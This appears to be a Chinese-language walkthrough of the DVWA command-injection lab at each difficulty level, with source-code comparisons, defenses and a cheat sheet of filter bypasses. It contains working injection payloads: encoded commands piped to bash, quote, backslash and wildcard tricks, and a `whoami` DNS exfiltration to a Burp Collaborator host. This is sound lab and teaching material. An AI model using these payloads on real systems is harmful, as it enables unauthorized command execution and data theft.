目录
Burp Collaborator Client 实现 DNS LOG
漏洞原理
命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。
Low
渗透思路
按照页面提示正常请求,结果如下:
由此推测后端执行命令为 ping -c 4 8.8.8.8
分号 ; 实现单行多命令执行
如果是 Linux 系统,多个命令可以一行表示,用 ; 分隔,比如 ping 8.8.8.8; pwd,为方便直接获得我们想要的结果,可以在输入框中直接填写 ;pwd,相当于执行命令 ping;pwd ,结果如下图所示,成功执行命令 pwd,获得当前目录。
Medium
渗透思路
通过以上流量对比没有发现明显差别,对采取的防护措施也不甚清楚。但也不排除 payload 可能得到执行,首先想到的是 DNS LOG,为验证漏送是否存在,可以通过Burpsuit 自带的 DNS LOG 功能来测试。
Burp Collaborator Client 实现 DNS LOG
点击 Copy to clipboard,获得服务器地址
输入栏填写内容
`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net
后台拼接的完整命令应该是
ping -c 4`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net
点击页面输入框后的 Submit,然后回到 Burp CollaboratorClient,点击 Poll now,快速获得消息,成功后证明了漏洞存在,之前 whoami 命令部分执行成功后变为 www-data
注:有时 Burp Collaborator Client 可能会失效,不妨多试几次,或者自己搭建 DNS LOG 平台,如果是内网环境也可以直接用wireshark 等抓包工具捕获发出的 ICMP 流量。
短路逻辑与 & 实现命令连接绕过字符黑名单
通过源码分析,得知程序对 && 和 ; 两个字符做了黑名单处理,这样之前的 ; 字符连接命令就无效了,但是连接 Linux shell 实现多命令执行的字符除了 && 和 ; 还有 &,如果有效的话,实现命令注入就比 DNS LOG 简单多了,实际证明很有效,结果如下:
源码对比
Low 源码
Medium 源码
对比小结
通过对比可知,Medium 和 Low 两个的等级代码区别有:
- Medium 对 && 和 ;两个字符做了简单黑名单处理
High
渗透思路
为方便起见,首先尝试之前效果较好的命令连接符,比如 ;,&,但是无一例外都没响应,那就用较为麻烦的 DNS LOG 来验证漏洞的存在。方法和 Medium 级别一样,通过 Burp CollaboratorClient 也没获得命令执行结果,但可以得出一个结果就是反引号 ` 也被过滤掉了。
通过短路逻辑运算符 | 绕过特殊字符黑名单
逻辑运算符是连接多命令执行的好帮手,除了 && 和 &,还有 || 和 |,通过测试, | 能够成功绕过黑名单,结果如下
源码对比
Medium 源码
High 源码
对比小结
通过以上源码对比可知,相较于 Medium 源码:
- High 对参数 IP 进行 trim() 处理
- High 扩展了特殊字符黑名单
- 字符串 ’| ‘多了空格,无法有效屏蔽字符 '|'
Impossible
源码对比
High 源码
Impossible 源码
对比小结
通过对比可知,Medium 和 Low 两个的等级代码区别有:
- 开头进行 user_token 参数校验
- stripslashes 过滤用户输入反斜杠
- 按照 IP 地址四段点分十进制的格式,严格校验输入合法性
- 末尾重新生成新的 user_token 供下次新的请求校验,防止重放攻击
防御
- 开源框架,升级到最新版本
- 尽量不使用命令执行的函数
- 对可执行命令和代码使用白名单限制
- 用正则表达式对用户输入的内容进行充分处理
- 使用 WAF
绕过
URL编码绕过
关于$_SERVER[‘QUERY_STRING’],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
Base64编码绕过
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo “Y2F0IC9mbGFn”|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo “bHM=”|base64 -d|sh 将执行ls
Hex编码绕过
echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag
$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag
Oct编码绕过
$(printf “\154\163”) 执行ls
偶读拼接绕过
?ip=127.0.0.1;a=l;b=s;a aab
?ip=127.0.0.1;a=fl;b=ag;cat /a aab;
内联执行绕过
echo “apwd” #输出a/root
?ip=127.0.0.1;cat$IFS$9ls
引号绕过
ca"“t => cat
mo”“re => more
in”“dex => index
ph”"p => php
通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca"“t%09/fla?
/?url=127.0.0.1|ca”“t%09/fla*
假设flag在/flag.txt中:
/?url=127.0.0.1|ca”“t%09/fla???
/?url=127.0.0.1|ca”“t%09/fla*
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca”“t%09/fla??/fla???
/?url=127.0.0.1|ca”"t%09/fla*/fla*
反斜杠绕过
ca\t => cat
mo\re => more
in\dex => index
ph\p => php
n\l => nl
[]匹配绕过
c[a]t => cat
mo[r]e => more
in[d]ex => index
p[h]p => php